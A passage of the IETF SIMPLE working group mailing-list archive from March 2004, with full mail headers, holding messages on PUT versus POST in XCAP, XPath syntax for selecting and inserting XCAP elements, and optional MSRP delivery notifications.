> I believe that the heart of the discussion around PUT vs POST hinges 
> on the following:
> 
> Is the operation:
> 
> 1) Storage of a resource into a repository
> 
> or
> 
> 2) Invocation of server-side logic on a parameter set being passed to
>  that logic.
> 
> Given that at least some of the CPCP logic has the server making a 
> transformation to the parameter set (adding the conference URI 
> element), I believe that we fall into case 2.

I disagree.

As was seen in today's excellent XCAP tutorial by Jonathan, you can very
well think of the system as consisting of two XCAP clients: a CPCP
client that PUTs the policy of a conference, and a CPCP client
(colocated with the conference server) that fills in the missing
details, like the conference URI.

Although I'm all for having discussion on this topic, I'd like to see
the counterproposal. What goes in the POST body? What then? It's really
hard to argue against imagineware...

> Certainly it would be much easier to build an XCAP implementation on 
> Apache's HTTPD using a POST interface than it would using a PUT 
> interface.

Could you elaborate? For example, does the CGI interface not give access
to the body of a PUT? What's the problem exactly?

Cheers,
Aki

<snip />

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar  4 04:01:19 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA01338
	for <simple-archive@ietf.org>; Thu, 4 Mar 2004 04:01:19 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyojH-0007NN-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 04:01:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyoiI-000782-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 04:00:19 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyohO-0006tZ-00; Thu, 04 Mar 2004 03:59:22 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyohQ-00023m-C3; Thu, 04 Mar 2004 03:59:24 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayoh3-0006GI-F6; Thu, 04 Mar 2004 03:59:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayogo-0006FG-Bu
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 03:58:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA01145
	for <simple@ietf.org>; Thu, 4 Mar 2004 03:58:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayogl-0006ht-00
	for simple@ietf.org; Thu, 04 Mar 2004 03:58:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayofh-0006Un-00
	for simple@ietf.org; Thu, 04 Mar 2004 03:57:38 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayof4-0006IY-00
	for simple@ietf.org; Thu, 04 Mar 2004 03:56:58 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Ayof6-00020p-KP
	for simple@ietf.org; Thu, 04 Mar 2004 03:57:00 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i248uuC07964;
	Thu, 4 Mar 2004 10:56:57 +0200 (EET)
X-Scanned: Thu, 4 Mar 2004 10:56:52 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i248uq6G011631;
	Thu, 4 Mar 2004 10:56:52 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00gQUUDz; Thu, 04 Mar 2004 10:56:51 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i248uj725253;
	Thu, 4 Mar 2004 10:56:45 +0200 (EET)
Received: from mgw.research.nokia.com ([172.21.33.76]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 4 Mar 2004 10:56:42 +0200
Received: from xitami.research.nokia.com (xitami.research.nokia.com [172.21.40.110])
	by mgw.research.nokia.com (8.9.3/8.9.3) with ESMTP id KAA21637;
	Thu, 4 Mar 2004 10:56:54 +0200 (EET)
From: Jari Urpalainen <Jari.Urpalainen@nokia.com>
To: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: simple@ietf.org
Content-Type: text/plain
Message-Id: <1078390601.21131.72.camel@xitami.research.nokia.com>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 04 Mar 2004 08:56:42.0379 (UTC) FILETIME=[9D1555B0:01C401C6]
Content-Transfer-Encoding: 7bit
Subject: [Simple] xcap multiple insertions
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 10:56:41 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Hi Jonathan !

I read your XCAP representation in Seoul and I'll have a few comments.

When selection multiple entries you can't use union "|" there. Union is
used to select multiple location paths like

/element[@attr="test"] | /element/test

The working solution is to use position() function and "or" logical
expression i.e.

/element[position()=1 or position()=2]

Secondly, you may have missed my earlier posting, where I proposed that
index could be added onto XPATH expression when one wants to insert new
item at a specific location i.e.

/element[@attr="test"][2]

which says that you want to insert new item as second item and whose
attr="test" (assuming of course that you have already many elements and
the selection uniquely identifies the new item). As the selection
results as zeros nodes (does not exist yet) then you know that you want
to add this item and you effectively have to insert this new item
between the original first and second item. And certainly you can get
the same data with the same query afterwards.

I'll admit that I am not aware of use-cases for this but IMO the logic
is so simple that it could be allowed.

Furthermore, when you give examples I would prefer that you give
absolute location paths instead of relative as that is the semantics in
XCAP currently.

Btw. has anybody complained about the case how to detect file-part and
XPATH-query from each other ? I could propose that an additional slash
would be added there i.e. http://example.com/file.xml//list. This would
help if XPATH-set in XCAP would be extended e.g. with anywhere test
"//".

BR,
Jari










_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar  4 04:01:57 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA01437
	for <simple-archive@odin.ietf.org>; Thu, 4 Mar 2004 04:01:57 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyojP-0006VV-J4
	for simple-archive@odin.ietf.org; Thu, 04 Mar 2004 04:01:27 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2491O0a024975
	for simple-archive@odin.ietf.org; Thu, 4 Mar 2004 04:01:24 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyojK-0006UV-TP
	for simple-web-archive@optimus.ietf.org; Thu, 04 Mar 2004 04:01:22 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA01351
	for <simple-web-archive@ietf.org>; Thu, 4 Mar 2004 04:01:20 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyojI-0007NS-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 04:01:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyoiJ-000789-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 04:00:20 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyohO-0006tZ-00; Thu, 04 Mar 2004 03:59:22 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyohQ-00023m-C3; Thu, 04 Mar 2004 03:59:24 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayoh3-0006GI-F6; Thu, 04 Mar 2004 03:59:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayogo-0006FG-Bu
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 03:58:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA01145
	for <simple@ietf.org>; Thu, 4 Mar 2004 03:58:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayogl-0006ht-00
	for simple@ietf.org; Thu, 04 Mar 2004 03:58:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayofh-0006Un-00
	for simple@ietf.org; Thu, 04 Mar 2004 03:57:38 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayof4-0006IY-00
	for simple@ietf.org; Thu, 04 Mar 2004 03:56:58 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Ayof6-00020p-KP
	for simple@ietf.org; Thu, 04 Mar 2004 03:57:00 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i248uuC07964;
	Thu, 4 Mar 2004 10:56:57 +0200 (EET)
X-Scanned: Thu, 4 Mar 2004 10:56:52 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i248uq6G011631;
	Thu, 4 Mar 2004 10:56:52 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00gQUUDz; Thu, 04 Mar 2004 10:56:51 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i248uj725253;
	Thu, 4 Mar 2004 10:56:45 +0200 (EET)
Received: from mgw.research.nokia.com ([172.21.33.76]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 4 Mar 2004 10:56:42 +0200
Received: from xitami.research.nokia.com (xitami.research.nokia.com [172.21.40.110])
	by mgw.research.nokia.com (8.9.3/8.9.3) with ESMTP id KAA21637;
	Thu, 4 Mar 2004 10:56:54 +0200 (EET)
From: Jari Urpalainen <Jari.Urpalainen@nokia.com>
To: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: simple@ietf.org
Content-Type: text/plain
Message-Id: <1078390601.21131.72.camel@xitami.research.nokia.com>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 04 Mar 2004 08:56:42.0379 (UTC) FILETIME=[9D1555B0:01C401C6]
Content-Transfer-Encoding: 7bit
Subject: [Simple] xcap multiple insertions
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 10:56:41 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Hi Jonathan !

I read your XCAP representation in Seoul and I'll have a few comments.

When selection multiple entries you can't use union "|" there. Union is
used to select multiple location paths like

/element[@attr="test"] | /element/test

The working solution is to use position() function and "or" logical
expression i.e.

/element[position()=1 or position()=2]

Secondly, you may have missed my earlier posting, where I proposed that
index could be added onto XPATH expression when one wants to insert new
item at a specific location i.e.

/element[@attr="test"][2]

which says that you want to insert new item as second item and whose
attr="test" (assuming of course that you have already many elements and
the selection uniquely identifies the new item). As the selection
results as zeros nodes (does not exist yet) then you know that you want
to add this item and you effectively have to insert this new item
between the original first and second item. And certainly you can get
the same data with the same query afterwards.

I'll admit that I am not aware of use-cases for this but IMO the logic
is so simple that it could be allowed.

Furthermore, when you give examples I would prefer that you give
absolute location paths instead of relative as that is the semantics in
XCAP currently.

Btw. has anybody complained about the case how to detect file-part and
XPATH-query from each other ? I could propose that an additional slash
would be added there i.e. http://example.com/file.xml//list. This would
help if XPATH-set in XCAP would be extended e.g. with anywhere test
"//".

BR,
Jari










_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar  4 05:30:08 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA06442
	for <simple-archive@ietf.org>; Thu, 4 Mar 2004 05:30:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayq7E-00032S-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 05:30:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayq69-0002m1-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 05:29:02 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayq5E-0002VX-00; Thu, 04 Mar 2004 05:28:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayq5C-0006yb-Fb; Thu, 04 Mar 2004 05:28:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayq4X-0006wa-60
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 05:27:21 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA06220
	for <simple@ietf.org>; Thu, 4 Mar 2004 05:27:17 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayq4T-0002SF-00
	for simple@ietf.org; Thu, 04 Mar 2004 05:27:17 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayq3U-0002EE-00
	for simple@ietf.org; Thu, 04 Mar 2004 05:26:17 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayq2T-0001tu-00
	for simple@ietf.org; Thu, 04 Mar 2004 05:25:13 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i24AOvh02744;
	Thu, 4 Mar 2004 12:24:57 +0200 (EET)
X-Scanned: Thu, 4 Mar 2004 12:24:20 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i24AOKe1031171;
	Thu, 4 Mar 2004 12:24:20 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00OcC6Ct; Thu, 04 Mar 2004 12:24:18 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i24AOH708796;
	Thu, 4 Mar 2004 12:24:17 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 4 Mar 2004 12:24:16 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C401D2.D854F9B8"
Subject: RE: [Simple] return receipt and delivery status notification for MSRP
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB701797833@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] return receipt and delivery status notification for MSRP
Thread-Index: AcQBqbhC/iGuVsBkR3aygFhyYqNSjAAKPBpA
To: <vikas@arciis.com>, <vkg@lucent.com>, <simple@ietf.org>, <rohan@cisco.com>,
        <aki.niemi@nokia.com>
X-OriginalArrivalTime: 04 Mar 2004 10:24:16.0900 (UTC) FILETIME=[D9059C40:01C401D2]
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 4 Mar 2004 12:24:15 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.6 required=5.0 tests=AWL,HTML_20_30,
	HTML_FONTCOLOR_BLUE,HTML_MESSAGE,NO_REAL_NAME autolearn=no 
	version=2.60

This is a multi-part message in MIME format.

------_=_NextPart_001_01C401D2.D854F9B8
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

It is optional. If it is annoying to you, then you don't request a =
delivery notification. It is not every time and it is not mandatory.
=20
/Hisham

-----Original Message-----
From: ext vikas [mailto:vikas@arciis.com]
Sent: 04.March.2004 07:31
To: Vijay K. Gurbani; ; Rohan Mahy; Niemi Aki (Nokia-M/Espoo); Khartabil =
Hisham (Nokia-TP-MSW/Helsinki);=20
Subject: Re: [Simple] return receipt and delivery status notification =
for MSRP


Hi,

Adding to what Vijay just mentioned, it would be annoying for the user =
to get a notification everytime that the message has been read by the =
target.=20

Typically the number of messages exchanged in IM will be greater than =
that in email (if you would like to compare for read notification =
purpose).=20

To me - "no news is good news" sounds okay for delivery notifications.

Regards,
Vikas Tandon
Arciis Software Technologies
www.arciis.com



------_=_NextPart_001_01C401D2.D854F9B8
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<META content=3D"MSHTML 6.00.2800.1400" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D616562210-04032004><FONT face=3DArial color=3D#0000ff =
size=3D2>It is=20
optional. If it is annoying to you, then you don't request a delivery=20
notification. It is not every time and it is not =
mandatory.</FONT></SPAN></DIV>
<DIV><SPAN class=3D616562210-04032004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D616562210-04032004><FONT face=3DArial color=3D#0000ff =

size=3D2>/Hisham</FONT></SPAN></DIV>
<BLOCKQUOTE=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> ext vikas=20
  [mailto:vikas@arciis.com]<BR><B>Sent:</B> 04.March.2004 =
07:31<BR><B>To:</B>=20
  Vijay K. Gurbani; ; Rohan Mahy; Niemi Aki (Nokia-M/Espoo); Khartabil =
Hisham=20
  (Nokia-TP-MSW/Helsinki); <BR><B>Subject:</B> Re: [Simple] return =
receipt and=20
  delivery status notification for =
MSRP<BR><BR></FONT></DIV>Hi,<BR><BR>Adding to=20
  what Vijay just mentioned, it would be annoying for the user to get a=20
  notification everytime that the message has been read by the target.=20
  <BR><BR>Typically the number of messages exchanged in IM will be =
greater than=20
  that in email (if you would like to compare for read notification =
purpose).=20
  <BR><BR>To me - "no news is good news" sounds okay for delivery=20
  notifications.<BR><BR>Regards,<BR>Vikas Tandon<BR>Arciis Software=20
  Technologies<BR>www.arciis.com<BR></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C401D2.D854F9B8--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar  4 05:30:43 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA06510
	for <simple-archive@odin.ietf.org>; Thu, 4 Mar 2004 05:30:42 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayq7K-0007AJ-Al
	for simple-archive@odin.ietf.org; Thu, 04 Mar 2004 05:30:15 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i24AUEfN027538
	for simple-archive@odin.ietf.org; Thu, 4 Mar 2004 05:30:14 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayq7I-00079h-V9
	for simple-web-archive@optimus.ietf.org; Thu, 04 Mar 2004 05:30:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA06460
	for <simple-web-archive@ietf.org>; Thu, 4 Mar 2004 05:30:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayq7F-00032Y-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 05:30:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayq6A-0002m8-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 05:29:03 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayq5E-0002VX-00; Thu, 04 Mar 2004 05:28:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayq5C-0006yb-Fb; Thu, 04 Mar 2004 05:28:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayq4X-0006wa-60
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 05:27:21 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA06220
	for <simple@ietf.org>; Thu, 4 Mar 2004 05:27:17 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayq4T-0002SF-00
	for simple@ietf.org; Thu, 04 Mar 2004 05:27:17 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayq3U-0002EE-00
	for simple@ietf.org; Thu, 04 Mar 2004 05:26:17 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayq2T-0001tu-00
	for simple@ietf.org; Thu, 04 Mar 2004 05:25:13 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i24AOvh02744;
	Thu, 4 Mar 2004 12:24:57 +0200 (EET)
X-Scanned: Thu, 4 Mar 2004 12:24:20 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i24AOKe1031171;
	Thu, 4 Mar 2004 12:24:20 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00OcC6Ct; Thu, 04 Mar 2004 12:24:18 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i24AOH708796;
	Thu, 4 Mar 2004 12:24:17 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 4 Mar 2004 12:24:16 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C401D2.D854F9B8"
Subject: RE: [Simple] return receipt and delivery status notification for MSRP
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB701797833@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] return receipt and delivery status notification for MSRP
Thread-Index: AcQBqbhC/iGuVsBkR3aygFhyYqNSjAAKPBpA
To: <vikas@arciis.com>, <vkg@lucent.com>, <simple@ietf.org>, <rohan@cisco.com>,
        <aki.niemi@nokia.com>
X-OriginalArrivalTime: 04 Mar 2004 10:24:16.0900 (UTC) FILETIME=[D9059C40:01C401D2]
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 4 Mar 2004 12:24:15 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.6 required=5.0 tests=AWL,HTML_20_30,
	HTML_FONTCOLOR_BLUE,HTML_MESSAGE,NO_REAL_NAME autolearn=no 
	version=2.60

This is a multi-part message in MIME format.

------_=_NextPart_001_01C401D2.D854F9B8
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

It is optional. If it is annoying to you, then you don't request a =
delivery notification. It is not every time and it is not mandatory.
=20
/Hisham

-----Original Message-----
From: ext vikas [mailto:vikas@arciis.com]
Sent: 04.March.2004 07:31
To: Vijay K. Gurbani; ; Rohan Mahy; Niemi Aki (Nokia-M/Espoo); Khartabil =
Hisham (Nokia-TP-MSW/Helsinki);=20
Subject: Re: [Simple] return receipt and delivery status notification =
for MSRP


Hi,

Adding to what Vijay just mentioned, it would be annoying for the user =
to get a notification everytime that the message has been read by the =
target.=20

Typically the number of messages exchanged in IM will be greater than =
that in email (if you would like to compare for read notification =
purpose).=20

To me - "no news is good news" sounds okay for delivery notifications.

Regards,
Vikas Tandon
Arciis Software Technologies
www.arciis.com



------_=_NextPart_001_01C401D2.D854F9B8
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


